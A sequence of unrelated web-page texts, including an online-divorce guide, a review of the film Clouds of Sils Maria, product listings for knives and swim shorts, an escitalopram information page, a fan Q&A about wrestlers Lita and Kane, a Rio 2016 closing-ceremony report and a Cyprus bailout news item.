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Websites that specialize in helping couples obtain a divorce are gaining popularity as a quick, easy, and affordable way to end a marriage. There are sites available that allows spouses to take a complete do-it-yourself approach to their divorce as well as those which lend a helping-hand by filling out the forms required to initiate divorce proceedings.
Thanks to the popularity of e-filing, many states now allow divorces to be filed online. This means, in certain situations, divorces can be initiated, filed, and fees paid for entirely online. But since all divorces are not created equal, only certain circumstances should lead couples to filing for divorce online.
Types Divorces and Online Filing
When couples have an uncontested divorce, that is, they agree on issues like property division, child custody, and support payments, filing for divorce can be done with the help of online services. Often, these websites will provide instruction in filling out forms required in your state. Sometimes, they may even have paralegal services available that will review your documents to ensure they are all properly filled out and ready to be submitted.
For those couples that are unable to agree on the issues that come up during the divorce process – support, custody, property and debt disbursement – filing online is not the best solution. These couples often need assistance settling their divorce. In the most extreme cases, it may even result in a trial. In these scenarios, a family lawyer should be consulted to help divorcing couples sort out their differences.
Remember, once you agree on a divorce settlement, whether filed online or in-person, it is difficult to make any changes to the terms you originally approved. Even if you choose the do-it-yourself approach, having an experienced family law attorney review your divorce documents before finalizing them is a good idea. They can make sure all parties’ best interests are represented and the settlement is fair and equitable.
How to File for Divorce Online
If you and your spouse have agreed on the major issues involved in your divorce, the next step is to file for divorce. Depending on where you live, there may be several options available to you for filing online.
If your state allows e-filing, you can use their forms to initiate your divorce. Often, these are online PDFs that you will have to fill out yourself. If you’re not comfortable completing these forms on your own, you can always choose to pay a fee to a website that specializes in helping people with online legal services. They will guide you through the process of filing and may even review your documents before submitting them.
Whichever method you choose, remember to make hardcopy duplicates of your paperwork. Once you have prepared all the paperwork necessary for your uncontested divorce, you can pay the filing fee and proceed to the next steps, which usually include serving your spouse with divorce papers and finalizing a divorce agreement.
Attorney Help with Online Divorces
Before finalizing divorce, you may want to seek the services of a family law attorney. While it is convenient and easy to initiate divorce proceedings online, there is no substitute for the expertise of a divorce attorney when reviewing documents that will ultimately be used as part of a divorce decree. Seeking the services of a divorce attorney can be done after you have filled out all your forms and filed for divorce but before your divorce agreement becomes a court order. This gives you the added security of knowing your divorce is fair.
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In a sense, this is a deluxe lockdown film. An iconic actress Maria Enders, played by real-life French superstar Juliette Binoche, heads to the exquisite, unspoilt village of Sils Maria in the Swiss Alps to hole up in a cabin to prepare for a landmark project. With her is her young assistant Valentine, played by Kristen Stewart, who serves as sounding board and acting sandbag. They seem to have stocked up on enough food and wine and cigarettes, something I felt genuinely relieved for. The food stocks of wealthy, well-nourished people are never in doubt, yet the images of the impoverished walking home thousands of kilometres of highways has likely cut deep grooves of anxiety through my mind.
Enders is revisiting a play about two women, an older power boss who has an affair with a young woman in the office, looking for a way up. Year ago, Enders’ had played the younger woman in the film version of the play, and it had launched her career in a big way. Now, she has been offered the older woman’s part, and she accepts it grudgingly mainly on her assistant Val’s insistence. It necessitates a reflection on time past and time passing, age, mortality, legacy, for which they retire to the cottage. Every day, they read lines from the play to understand its textures, and go for long walks in Alpine meadows and skinnydip in the natural pools of water. It’s an oasis of free ‘creative’ time, possible only when you have the wealth to go on self-imposed lockdowns, or the enormous talent that fetches rarefied fellowships.
The self-references are obvious and deeply pleasurable—Binoche is the grand dame with the statuesque body of work, Stewart the young star on the rise who comes of blockbuster success but increasingly has a resume of impressive arthouse work. The screenplay too sets them up like the play within the film. The assistant Val admires her boss, when she goes on stage to make a speech, Val lets out a wolf-whistle from the wings. Her boss enjoys Val’s admiration. When Binoche and Stewart line-read the play at Sils Maria, the line between real life, and the play blur nicely. There’s also a bit where the actress slated to play the younger woman in the play is seen in blockbuster superhero film. Chloe Grace Moretz plays this actor whose star is on the rise with “trash” films, and it’s superb to watch Stewart defend the “art” of such films, having risen from a questionable blockbuster franchise like the Twilight series herself. Moreover, Binoche first came to prominence in a film called Rendezvous, the debut film of Olivier Assayas, who directs her here again, now as the grand dame of European cinema.
This is the sort of talky, chamber drama film that I used to find boring earlier. Now, I can’t have enough of it. It’s therapy without having to pay for it, and better still, having to dress and go out for it. Stewart is offering solace to younger blockbuster Stewart, Binoche lays out the dilemmas facing aging superstars, and they are both superb therapy for us watching. It’s so richly satisfying to see an older woman as charismatic as Binoche graciously accepting a younger woman’s attention. For me, it fulfilled a long-held wish to be mentored by a power woman, a desire that comes to naught for most people . Because come on, how many women can be self-absorbed like Binoche and not be annoying in real life?
This part of Alpine Switzerland is known for a weather phenomenon called the Maloja Snake, a rare cloud formation that takes on a serpent’s shape. The film foreshadows the significance of this to the story by alluding to it from the title itself. At the start of the film, we are winding around the mountains of Switzerland with Binoche and Stewart in a train—which is a modern-day snake-like form, if you think about it. Later we get breathtaking Alpine vistas and nausea-inducing hairpin bends, that snake around the mountains. We even see video footage of the cloud formation, and finally, towards the end, there is a surprise disappearance when the rare Maloja snake comes into view. Some references on the internet suggest that the Snake is supposed to be a harbinger of bad news. But it didn’t feel like that to me. The symbolism felt like a rare sighting, a flash or epiphany that clarifies and put things in perspective. Like reaching somewhere after journeying through hairpin bends and treacherous terrain, and finding who you are.
Clouds of Sils Maria (2014)
Director Olivier Assayas
Starring: Juliette Binoche, Kristen Stewart, Chloe Grace-Moretz
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The green manure calculator provides a comparison of relative benefits between a green manure phase and a grain crop within a defined rotational sequence. Results provide an indication of economic costs and benefits based on variable inputs.
Although significant amounts of organic carbon are present in soils, some of this is relatively inert. Soil organic matter is made up of different pools which vary in their turnover time or rate of decomposition. The labile pool which turns over relatively rapidly (< 5 years), results from the addition of fresh residues such as plant roots and living organisms, whilst resistant residues which are physically or chemically protected are slower to turn over (20 – 40 years). The protected humus and charcoal components make up the stable soil organic matter pool which can take hundreds to thousands of years to turnover
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For Pre Fer Nord, we converted the recycling process drawn up by Galloo into a new recycling line. It sorts ferrous and non-ferrous metals even more accurately.
In order to recover residual metals from incinerator ash more efficiently, Pre Fer Nord was looking for a partner to optimise their existing recycling plant. They turned to Galloo, a recycling company of ferrous and non-ferrous metals. They drew up the process and entrusted its realisation to Lybover.
The Lybover way
Thanks to our extensive product and machine knowledge, we were able to optimise Pre Fer Nord’s recycling plant. Thanks to the new installation, ferrous and non-ferrous metals are now sorted even more efficiently and accurately. This also means that fewer materials have to be landfilled, which is always a win.
The right process and machine knowledge
The aim of the plant is to process incineration ash more efficiently. Stones, large and small pieces of metal are reduced in the plant to below a certain size. In a subsequent installation, the iron and non-ferrous particles (copper, aluminium, zinc, bronze) are recovered. The stone grit is reused in concrete, stabilisers or as an underlay for roads. The metals go to Galloo, where they are improved, purified and delivered to smelters.
In order to translate processes from paper to a working installation, Galloo has often relied on Lybover’s expertise. And with positive results. “We have the right process and machine knowledge in house and so we got the chance to build this installation too”, says Bart Vanpoucke, Business Unit Manager at Lybover RECYCLING.
Tailor-made and extensively tested
“The installation is completely customised,” explains Bart. “We will look internally and together with our partners at which machines are suitable for the process and for the specific material. Conveyor belts and magnets, everything is considered in function of the material. Knowledge of materials is therefore very important. We have that experience at Lybover.”
It is also very important to talk to the customer. “We have to understand what the customer wants. What material needs to be recycled? What information is available? What does the customer want to achieve with the material? We start working with that information. We simulate the entire process. We show the physical result of our tests to the customer and explicitly check whether that is the result they expect.”
“The project development went very smoothly. The cooperation between the project leader, design engineer, service engineer and mechanics went very well. This enabled us to build a beautiful installation within the timing of one year. Even after the start-up, we stay in contact with the customer to see how we can support them with periodic inspections, preventive maintenance and spare parts.”
Quality through long-term partnerships
Lybover has a lot of experience in building recycling lines. For the machines themselves, we rely on a number of regular partners. “Steinert is a German company that builds separation machines,” explains Bart. “We have had a partnership with them for a long time. We work very closely together and often exchange information. This also allows us to offer greater performance and more extensive support. Spaleck, another German company, does everything related to vibration technology for transport and screening. We have also been working with them for a long time. So we know very well what their machines can do. So we are once again getting the maximum performance out of them.
“At Lybover we make the conscious decision not to have our own test centre. It makes much more sense to do the testing at our partners. They are the experts on their own machines. We often invite the customer to these tests as well. From the very beginning, we have also been very open about the fact that we work with these machine partners from the very beginning. They are usually even present when the project is signed. We notice that customers really appreciate this. They do not like buying an empty box. The more information they get beforehand, the greater their confidence.”
The evolution of recycling
Recycling has evolved greatly in recent years. “In each material category – metals, plastics, wood – we see an evolution towards more advanced separation,” Bart explains. “The evaluation of the separation process has therefore become very difficult. That is why we do so many tests and also work closely with the customer to create a customised installation.”
“At Pre Fer Nord, for example, there was an old system that was no longer up to current standards. The fact that there is now a completely new installation gives me great satisfaction. Every material that we don’t have to landfill is a win. The fact that I can contribute to the better use of materials is very important to me. At Lybover you really get the chance to become an expert in what you do. That freedom ensures that I am stimulated and stay stimulated. That is really fascinating and challenging. | <urn:uuid:8b83ac0c-d155-448a-85b0-bcb7e32a0b70> | CC-MAIN-2024-18 | https://solidsprocessing.nl/en/article/recycling-metals-with-greater-accuracy/ | 2024-04-15T00:28:14Z | s3://commoncrawl/crawl-data/CC-MAIN-2024-18/segments/1712296816904.18/warc/CC-MAIN-20240414223349-20240415013349-00867.warc.gz | en | 0.967163 | 1,054 |
Blackside Customs T-Bot Tactical Bottle Opener - Tumbled Copper
Introducing the T-Bot (Tactical Bottle Opener) from Blackside Customs! The T-Bot is a collaboration piece designed by Deryk Monroe of Monroe Knives and precision manufactured right here in the U.S.A. by Blackside Customs. The T-Bot Tactical Bottle Opener features a slimline profile crafted from Grade-5 titanium that functions as both a hardened impact device and reliable bottle opener. The over design isn't overly aggressive allowing for easy carry and can accompany you in non-permissive environments. If you need to elevate your everyday carry game, come join the Blackside!
Blackside T-Bot Specifications:
Length: 4.625 inWidth: .190 in
Weight: 1.50 ounces
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Microtech Combat Troodon Single Edge Standard Orange 143-1OR
If you're looking for a knife that can handle anything from the toughest utility jobs to close quarter combat, look no further than the Microtech Combat Troodon OTF knife. This bad boy is a favorite among Law Enforcement, United States Armed Forces, and First Responder Service Personnel, and for good reason. With its substantial feel, you know it's built to handle hard use, and the automatic OTF function means it's perfect for everyday carry. Microtech knives always deliver, and the Combat Troodon is no exception. Don't take our word for it though, give it a try and see for yourself.
Microtech Combat Troodon Specifications:
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Southern Glazer’s Bridget Albert talks to Sheena Yap Chan about her book The Tao of Self-Confidence: A Guide to Moving Beyond Trauma and Awakening the Leader Within.
Sheena Yap Chan shares a guide for Asian women to tap into their confidence and joy, and shine as leaders.
In your book you delve into the concept of self-confidence. What inspired you to explore this topic and how do you believe your perspective adds a unique dimension to the understanding of self-confidence?
Self-confidence is something that I have dealt with all my life. As an Asian woman, it was hard for me to build my self-confidence because I was told to stay in the background and never make any noise. I didn’t want other women to go through what I went through which is why I started the journey of finding ways to build confidence. I have a unique perspective since it’s coming from me, an Asian woman who is usually seen as quiet, submissive, and obedient. I want to dismantle those stereotypes and create a better representation for Asian women and beyond. Being able to share my authenticity and experiences, women from all walks of life can relate.
Can you share practical insights or strategies from your book that readers can implement in their lives to navigate overcoming personal drama on their journey?
By reading this book, readers are able to do the following:
· Gett to the root causes of what’s holding you back and stepping into greatness.
· Identify cultural and historical issues that affect our leadership potential.
· Find and gain more confidence as your authentic self.
How do you define leadership and how do individuals cultivate their inner leadership qualities?
For me, leadership is about someone who is willing to try something first. It’s not about being the tops or telling people what to do. It’s about showing others what is possible and bringing them along the way. A leader walks side by side with others and lifts them up.
The title of your book suggests Taoism. Can you highlight how Taoism is a guide that readers can apply for personal growth and empowerment?
Taoism is about learning the way and every person’s journey is different. This book is not a rigid manual but a guide to help you along your own journey. You can tweak it to see what works for you.
About Sheena Yap Chan:
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Officers arrested a man suspected in a string of car prowls throughout the Ballard neighborhood Monday.
A 29-year-old woman called 911 Monday morning after she discovered the back window of her Honda Accord had been smashed while parked in a garage in the 2400 block of Northwest Market Street. The woman told officers the suspect took her hairdressing tools for work and left behind a tire iron. The officer looked at the surveillance video from the garage and saw a man who had draped himself in a San Francisco Giants flag breaking the window before running off.
The officer recognized the suspect from descriptions given earlier in the day and worked with additional officers who knew the 29-year-old suspect from past contacts. The officers found the man in the Ballard Commons area later in the day and were able to take him into custody.
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CLEVELAND — Franco Kraiselburd is a Case Western Reserve University student and entrepreneur. He’s been invited to pitch his invention at the prestigious SXSW pitch contest.
“Artemis is set to change millions of people’s lives,” Kraiselburd said.
Artemis is a high-tech bandage of sorts.
While working in a lab in Brazil at age 14, Kraiselburd witnessed an amputation.
“I wanted to spend my life dedicated, so I never had to see anyone go through something like that again,” Kraiselburd said.
His creation would allow doctors to add a patient’s own blood or stem cells to the bandage, which would help the healing process.
He’s been chosen as a finalist to present at SXSW Pitch, the prestigious competition allows early-stage technology startups to pitch their products to investors.
Kraiselburd spent hours at Case Western’s Thinkbox, a workspace where early-stage companies can network with other entrepreneurs.
“He has a passion for everything he does,” said Michael Goldberg, a professor of entrepreneurship at Case Western and one of Kraiselburd’s mentors.
“I stand on shoulders of giants in everything that I do,” Kraiselburd said. “You can’t do this stuff alone.”
“South by Southwest is a national competition. There’s going to be folks from there from around the U.S. and around the world. I just think it’s great experience, great exposure,” Goldberg said.
Kraiselburd is also the lead vocalist in a band.
“My only critique of Franco is you gotta let others ask questions,” Goldberg joked. “He’s so curious.”
For Kraiselburd, who grew up in Argentina and has loved studying stem cells since middle school, this path is more than just about building a company.
“Patients can finally stop worrying about amputations and wound healing in general,” he said.
As for who he’s going to take to the prestigious competition?
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Car Key Lockout Solutions:
When the summer sun beats down in Arizona, the scorching temperatures can pose unexpected challenges, especially when it comes to your car keys.
From accidental lockouts to key damage due to extreme heat, unforeseen situations can quickly turn into nightmares.
That's why Speedway Locksmith emphasizes the significance of carrying a spare car key during the hot Arizona summer.
In this blog, we'll explore the importance of having a spare car key and the peace of mind it can bring during this season of high temperatures.
1. Avoiding Lockouts in Sweltering Heat:
Arizona summers are notorious for their intense heat, and it's not uncommon to find yourself in distressing lockout situations.
Whether you accidentally leave your car keys inside the vehicle or lose them in the heat-induced haze, a spare car key can be your saving grace.
Instead of waiting for hours in the blistering sun for a locksmith to arrive, having a spare key on hand enables you to quickly regain access to your vehicle and carry on with your day.
2. Preventing Key Damage from Extreme Temperatures:
Exposure to extreme heat can have adverse effects on your car key's integrity. The intense Arizona sun can cause plastic and rubber components of the key to deteriorate over time, leading to potential malfunction. By having a spare key, you can use it as a backup and minimize wear on your primary key, ensuring it remains in top condition for longer.
3. Uninterrupted Summer Adventures:
The summer season in Arizona is all about exploration and outdoor adventures. Whether you're heading to the Grand Canyon or exploring Sedona's scenic beauty, the last thing you want is a car key emergency to dampen your plans. With a spare car key in your possession, you can embark on your adventures worry-free, knowing that you have a backup in case of any mishaps.
4. Cost-Effective Solution:
Replacing a lost or damaged car key can be an expensive ordeal. From towing charges to costly key replacements, the financial burden can be significant. Investing in a spare car key is a cost-effective precautionary measure that can save you from unexpected expenses down the road.
5. Ensuring Family Safety:
Summer in Arizona often involves family road trips and outings. Having a spare car key is crucial for the safety of your loved ones. In the event of an emergency or if someone is accidentally locked inside the car, a spare key allows you to quickly unlock the vehicle and ensure the well-being of your family.
Conclusion Why Having a Spare Car Key in Arizona is a Must:
In the scorching summer months of Arizona, having a spare car key is more than just a convenience, it's a practical necessity. Speedway Locksmith encourages car owners to equip themselves with this essential summer accessory to avoid lockouts, prevent key damage, and enjoy uninterrupted adventures with peace of mind. Don't let the extreme heat catch you off guard... be prepared with a spare car key from Speedway Locksmith and breeze through the Arizona summer with confidence. For a comprehensive list of essential items to pack in your summer emergency travel kit, check out the official Arizona Department of Transportation (ADOT) blog.
ADOT provides valuable tips and resources to ensure your safety and preparedness during the hot Arizona summers.
Explore the full list here: Link to ADOT Blog - What to Pack: Summer Emergency Travel Kit
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What is Lexapro (Escitalopram) prescribed for?
Cipralex (Known in the US as Lexapro) is a medication used for treating generalized anxiety disorder (GAD), depression and anxiety. It helps bring back the natural balance of a substance called serotonin in the brain. Escitalopram falls under a group of drugs called selective serotonin reuptake inhibitors (SSRI). It can boost your energy, improve your overall mood, and reduce feelings of nervousness. It has not been proven to be safe for individuals younger than 12 years old.
Lexapro (Escitalopram) Information
How to use Cipralex (Known in the US as Lexapro)?
Take this medication by mouth as instructed by your doctor. You can take it with or without food, usually once a day in the morning or evening.
The dose will depend on your medical condition, response to treatment, your age, and other medications you may be taking. Make sure to inform your doctor and pharmacist about all the products you use. This includes prescription drugs, nonprescription drugs, and herbal products.
If you're using the liquid form of this medication, use a special measuring device or spoon to carefully measure the dose. Avoid using a regular household spoon, as it may not provide the correct dose.
To minimize side effects, your doctor may start you on a low dose of escitalopram and gradually increase it. Follow your doctor's instructions carefully. Don't increase your dose or use the medication more often or for longer than prescribed. Taking more won't make you feel better faster, but it can increase the risk of side effects.
Take this medication regularly at the same time each day to get the most benefit from it. You can set a reminder to help you remember.
Even if you start feeling better, continue taking this medication unless your doctor advises otherwise. Stopping suddenly can worsen certain conditions and lead to withdrawal symptoms.
These include mood swings, headaches, tiredness, sleep changes, and brief electric shock-like sensations. If your doctor decides to stop your treatment, they will likely reduce your dose gradually. If you have any concerns, consult your doctor or pharmacist.
It may take 1 to 2 weeks to notice improvement from this medication. It can take up to 4 weeks to experience its full benefits. If you don't see any improvement or if your condition worsens, inform your doctor.
Before starting the medication, read the Medication Guide and, if available, the Patient Information Leaflet provided by your pharmacist. If you have any questions, ask your doctor or pharmacist for clarification.
Store at room temperature when not in use.
Lexapro (Escitalopram) drug interactions
The list provided below includes drugs that are recognized to interact with Escitalopram. However, it is important to note that this is not an exhaustive compilation of all potential drug interactions.
- Synthroid (Levothyroxine)
- Lipitor (Atorvastatin)
- Xanax (Alprazolam)
- Wellbutrin Xl (Bupropion)
- Ambien (Zolpidem)
- Singulair (Montelukast)
- Klonopin (Clonazepam)
- Adderall (Amphetamine / Dextroamphetamine)
- Ativan (Lorazepam)
- Lamictal (Lamotrigine)
- Seroquel (Quetiapine)
- Abilify (Aripiprazole)
- Zyrtec (Cetirizine)
Disclose all of your current medications, including prescription medications and OTC products, to your doctor. They will assess the potential interaction and determine whether it is beneficial to use both drugs together. If not, adjustments need to be made to your treatment plan.
Common Side effects of Lexapro (Escitalopram)?
Few known side effects of Lexapro (Escitalopram) Tabs. Please note that this is not a complete list of all possible side effects of Escitalopram.
- sleeping trouble
- loss of appetite
- dry mouth
- sexual problems, such as decreased sex drive and erectile dysfunction
Please inform your doctor about any side effects you experience. If you find these side effects difficult to manage, contact your doctor for medical advice.
Seek immediate medical attention if you experience a condition called serotonin syndrome or allergic reactions such as trouble breathing.
Lexapro (Escitalopram) FAQs
Cipralex cost in Canada?
Cipralex 10mg Tabs cost in Canada
- 30 tabs - $92.40 USD ($3.08 per tab)
- 60 tabs - $163.80 USD ($2.73 per tab)
- 90 tabs - $225.23 USD ($2.50 per tab)
Generic Escitalopram cost in Canada?
Escitalopram 10mg Tabs cost in Canada
- 100 tabs - $35.00 USD ($0.35 per tab)
How long does it take for Lexapro to start working?
Lexapro (Known in Canada as Cipralex) usually starts working in about 1 to 4 weeks after you begin taking it. It's important to understand that everyone's response to the medication can be different.
It's crucial to be patient and continue taking Lexapro as prescribed by your doctor, even if you don't feel immediate improvements. If you have any concerns or questions, it's best to consult with your healthcare provider.
What is the usual dosage of Lexapro?
The usual dosage of Lexapro (Known in Canada as Cipralex) is typically between 10 to 20 milligrams (mg) per day. However, the specific dosage can vary depending on the individual's condition, medical history, and the recommendation of their healthcare provider. It's important to follow your doctor's instructions and not adjust the dosage without consulting them first. They will determine the appropriate dose for your specific needs.
Can Lexapro cause weight gain?
Yes, Lexapro (Known in Canada as Cipralex) can cause weight gain in some people. Weight changes, including both weight gain and weight loss, are possible side effects of taking Lexapro.
Not everyone experiences this side effect, and the degree of weight change can vary from person to person. If you are concerned about weight gain while taking Lexapro, call your doctor. They can provide personalized advice and potential alternatives if necessary.
Can I drink alcohol while taking Lexapro?
No, it is not recommended to drink alcohol while taking Lexapro (Known in Canada as Cipralex). Mixing alcohol with Lexapro can increase the risk of side effects and may reduce the effectiveness of the medication. It's essential to follow your doctor's advice and avoid alcohol while on Lexapro.
Can Lexapro be taken during pregnancy or while breastfeeding?
No, it is generally not recommended to take Lexapro (Known in Canada as Cipralex) during pregnancy or while breastfeeding. The use of Lexapro during pregnancy may pose risks to the developing fetus. It can also be transferred to the baby through breast milk.
If you are pregnant or breastfeeding and considering taking Lexapro, it's crucial to consult with your healthcare provider. They will evaluate your individual situation and help you make the best decision. They may suggest alternative medications or treatment options that are safer during pregnancy and breastfeeding.
Can Lexapro cause sexual side effects?
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Tears For Fears
The Tipping Point
Roland Orzabal and Curt Smith split after Tears For Fears’ third album, The Seeds Of Love. In the early 2000s Orzabal and Smith reunited and in 2005 released the wonderful Everybody Loves A Happy Ending album. After a very long absence from the recording studio, the pair have returned with The Tipping Point.
The Tipping Point is full of incredibly melodic songs, which are lyrically and musically powerful. It sounds like Tears For Fears, but as with their first three albums, it also demonstrates a progression. They are not trying to sound contemporary for 2022, but at the same time this is not a retro sounding album. Smith’s “Break The Man”, for example, is full of layered sounds and beautiful orchestrations. It bursts out of the speakers, and has the band’s trademark vocals but is a reinvigorated Tears For Fears.
Here, the band has broken free of its expectations and has made the album they wanted to make. It opens with the strong acoustic, “No Small Thing”, which builds up to complete chaos. This a brave direction for the band to go. It starts off very mellow but does not end in that manner, much like the album. Later in the album, one is treated to “My Demons” which is lyrically brilliant and accompanied by an energetic pounding beat and great vocal effects.
The Tipping Point is the album we have been waiting for from Tears For Fears. When they split all those years ago, one could not help but feel there was more to come from these two, together. Their solo efforts are fine and enjoyable, but when they work together as they have here, albeit with outside writers, musicians and producers, they create a sound and art that is outstanding.
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Zone 3 Bouyancy Neoprene 5/3mm Sundbuxur Dömu - The Originals
Zone 3 Bouyancy Neoprene 5/3mm Sundbuxur Dömu -The Originals
Improve your speed and technique in the water with our Original 5/3 mm Buoyancy Shorts. Featuring 3mm neoprene down the centre for core buoyancy and 5mm neoprene on the sides to promote hip rotation, our buoyancy shorts prevent your legs from sinking and improve the efficiency of every stroke.
Named the ‘Original’ in homage to our 2008 invention of thebuoyancyshort, this is a design that has been tweaked, improved and refined over the years. Crafted using premium Yamamoto Smoothskin neoprene, since their conception these shorts have helped over ten thousand swimmers strengthen their performance in the water.
Designedto supportbykeeping your body in a horizontal, streamlined position. As a result, your legs do not become a ‘dead weight’ causing drag and forcing you to increase your energy expenditure.
3mm Yamamoto Smoothskin front and back panels enhance core support by increasing leg buoyancy.
5mm Yamamoto Smoothskin side panels promote hip rotation allowing for increased reach with every stroke and therefore a more efficient swim.
Designed as a natural feelingalternative to a pull buoy.
Comfort focused waistband.
Backed by over a decade of positive reviews.
Why use our buoyancy shorts??
To improve your open water swimming technique when training in the pool.
Swimmers of all levels can benefit from using buoyancy shorts. Swimming in triathlon requires your upper body to produce the majority of your power; your legs and core must remain streamlined to prevent your upper body having to work any harder than necessary. These shorts simulate swimming in a wetsuit when you are unable to due to the heat of the water or due to pool rules. If the open water you are swimming is warm enough, you may also wish to use buoyancy shorts as an alternative to a wetsuit – they will fit comfortably over the top of a swimming costume.?
For novice and intermediate swimmers, the main obstacle to increasing swim speed is poor core support. As a result, these swimmers often find themselves dragging sinking legs through the water. Buoyancy shortshelp to place the swimmer in the correct horizontal position, allowing them to focus more on arm and stroke technique. Over time, a swimmer’s body position, speed and endurance can be significantly improved byusing buoyancy shorts when working ontechnique. | <urn:uuid:d79fe3f1-1023-47e6-9521-ba24681bfbe2> | CC-MAIN-2024-18 | https://sportis.is/products/zone-3-bouyancy-neoprene-shorts-domu-the-originals | 2024-04-15T00:41:09Z | s3://commoncrawl/crawl-data/CC-MAIN-2024-18/segments/1712296816904.18/warc/CC-MAIN-20240414223349-20240415013349-00867.warc.gz | en | 0.923954 | 540 |
It was all fake. Lita and Glenn "Kane" Jacobs was never in a relationship, and lita was never prego by him.
Yes it is lita and they had a child KANE AND LITA WERE NEVER MARRIED AND NEVER HAD A CHILD IN REAL LIFE!
Lita never had a baby
well that's reallly complicated because Matt hardy asked lita to marry him but then him and Kane wrestled for her heart and Kane won but the baby lita was impregnated with was kanes but she wasnt positive whos it was . after 1 and a half year edge and lita started dating so Kane and lita got a divorce and 3 weeks later lita married edge
No she is not.If she was kanes brother the undertaker would have been very angry
Lita is married to Edge (Adam Copelan) and Kane (Glenn Jacob).
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By sportsnewsarena correspondent
Aug 22, 2016
In a style befitting the carnival traditions of the host city, the Rio 2016 closing ceremony opened in a blaze of colour and a musical backdrop of Samba sounds, as dancers twisted and turned to form the outlines of a series of iconic rio monuments and landmarks, culminating in a multi-coloured depiction of the Olympic rings.
In the last of 306 medal ceremonies, IOC President Thomas Bach draped the gold around the neck of Kenya’s Eliud Kipchoge, who had won the men’s marathon earlier in the day.
That gave way to the traditional parade of the athletes, led by Greece and host nation Brazil, who with seven golds had enjoyed their most successful Games ever, and culminating with Japan, whose capital city Tokyo will play host to the next edition of the Games in 2020.
Once all of the athletes were safely inside the stadium, the spotlight fell on Norwegian DJ and musician Kygo, who accompanied American singer Julia Michaels in a rendition of a song called Carry Me, which then gave way to a film promoting the launch of the IOC’s innovative new digital media platform, the Olympic Channel.
The channel, which, as of 21 August, is available online and on android and iOS mobile devices, initially in English, provides sports fans around the world with the opportunity to access Olympic-related content throughout the year.
President Bach then took the stage flanked by the Mayor of Rio Eduardo Paes and Tokyo Governor Yuriko Koike, as the focus shifted from the current host city to its successor in 2020.
As a choir of Rio children sang the Olympic anthem, the Olympic flag was then passed symbolically from Mr Paes, via the IOC President, to Ms Koike.
In a genius twist, the Prime Minister Abe actually then surfaced in the middle of the stage at the Maracana, in real life, prompting gasps around the stadium.
The stadium was then filled by a series of animated depictions of the 33 three sports that will feature at the Tokyo 2020 Games, the motto of which is “Discover Tomorrow”.
These include no less than five new sports: baseball/softball, karate, sport climbing, skateboarding and surfing.
IOC President Thomas Bach was then joined in the centre of the stadium by Rio 2016 Organising Committee President Carlos Nuzman, who described the latest edition of the Games as a victory for sport, which would stay with the host city for ever.
President Bach also had a special word for the 10 athletes who competed under the Olympic flag for the Refugee Olympic Team, pledging the IOC’s continued support for athletes who find themselves unable to compete under their own flag: “You have inspired us with your talent and human spirit.
You are a symbol of hope to the millions of refugees in the world. We will continue to stay at your side after these Olympic Games.”
President Bach then declared the Games of the XXXI Olympiad closed, and in accordance with tradition, he called on the youth of the world to assemble in Tokyo in four years’ time. And with that it was ‘Bye bye Rio”. | <urn:uuid:455efe98-e348-4d33-888c-1f1f436cebd2> | CC-MAIN-2024-18 | https://sportsnewsarena.com/kipchoge-receives-medal-at-closing-ceremony-as-rio-bids-the-world-a-fond-farewell/ | 2024-04-15T00:06:01Z | s3://commoncrawl/crawl-data/CC-MAIN-2024-18/segments/1712296816904.18/warc/CC-MAIN-20240414223349-20240415013349-00867.warc.gz | en | 0.969594 | 660 |
Platform used to aggregate events from all around the world in a single place, with a goal to provide attendee with a way to find new events easily and organisers with tools to attract and communicate with attendees much faster from a single place.
- Project Page: https://learnfrom.io
- Development Active: Development Freeze
At the beginning of the Coronavirus Pandemic a lot of business that provided services requiring interaction between people were affected. Most of the started to try various video services to connect them with their clients. Companies like Zoom, Microsoft or Google, with tools like Zoom Meetings, Teams, Skype or Google Hangouts, saw an increased usage of their video services, compared to the times before the pandemic started. But, these tools do not provide all the things needed for a company to continue its business, as it was before.
Enter Learnfrom.io, a platform where people can post their sessions and where they can connect with customers from all over the world. The key feature of the Learnfrom.io platform is the possibility to explore events from various domains and attend them from a single place. Also, organisers could interact easily with their attendees and based on the event configuration, could make some money from the event.
If you think that our solution helps you, schedule a call with us or send us an email through our contact page. | <urn:uuid:121b6847-0519-4d4b-8bc0-7fcf4e1eaf34> | CC-MAIN-2024-18 | https://sprk.dev/blog/learnfrom-io/ | 2024-04-14T23:29:26Z | s3://commoncrawl/crawl-data/CC-MAIN-2024-18/segments/1712296816904.18/warc/CC-MAIN-20240414223349-20240415013349-00867.warc.gz | en | 0.95997 | 277 |
MOSCOW, March 20 (RIA Novosti) – Russian President Vladimir Putin and Cypriot President Nicos Anastasiades discussed the economic situation in Cyprus after Cypriot lawmakers rejected the Eurogroup’s bailout proposals, Kremlin spokesman Dmitry Peskov said.
“During a telephone conversation, the heads of state analyzed the economic situation in Cyprus in light of the Eurogroup’s bailout proposals,” Peskov said late on Tuesday, adding that the talks were initiated by the Cypriot president who informed Putin about the parliament’s decision.
Parliament in Cyprus on Tuesday rejected a government bill that envisioned a levy of 6.75 percent on deposits of less than 100,000 euros ($128,950) and 9.9 percent on larger deposits aimed at securing a European Union bailout loan.
Putin reiterated his concern about “any measures that could harm the interests of Russian businesses or individuals [in Cyprus].”
Russian banks are heavily exposed to Cyprus risk as they had around $12 billion on deposit with Cypriot banks at the end of last year, with Russian corporate deposits accounting for another $19 billion, according to estimates by Moody’s international rating agency.
"Putin reaffirmed Russia's position on the settlement of the Cyprus crisis," Peskov said.
The Russian president said on Monday that the decision to impose a one-off levy on all bank deposits in Cyprus, if made, “would be unfair, unprofessional and dangerous.”
Cypriot Finance Minister Michalis Sarris and some other Cypriot high-ranking officials are expected to visit Moscow on Wednesday to discuss the extension of a 2.5-billion-euro loan that Moscow extended to Nicosia in 2011 at a rate of 4.5 percent.
Meanwhile, Eurogroup chairman Jeroen Dijsselbloem said on Tuesday that the European bailout proposal was still on the discussion table but the Cypriots would have to find a way to raise about 6 billion euros to unlock a 10-billion-euro package from the EU and IMF. | <urn:uuid:8bd237cf-7f0b-43cc-a217-90864550487f> | CC-MAIN-2024-18 | https://sputnikglobe.com/20130319/Russian-Cypriot-Presidents-Discuss-Deposit-Tax-Crisis-180122729.html | 2024-04-15T00:35:52Z | s3://commoncrawl/crawl-data/CC-MAIN-2024-18/segments/1712296816904.18/warc/CC-MAIN-20240414223349-20240415013349-00867.warc.gz | en | 0.941534 | 431 |
An informal café bar open all day, every day.
Join us for long lazy breakfasts, brunch & lunch or a relaxed dinner and drinks.
We serve a wide range of food and drinks (including full kids, gluten free and vegan menus) served in a relaxed, welcoming space.
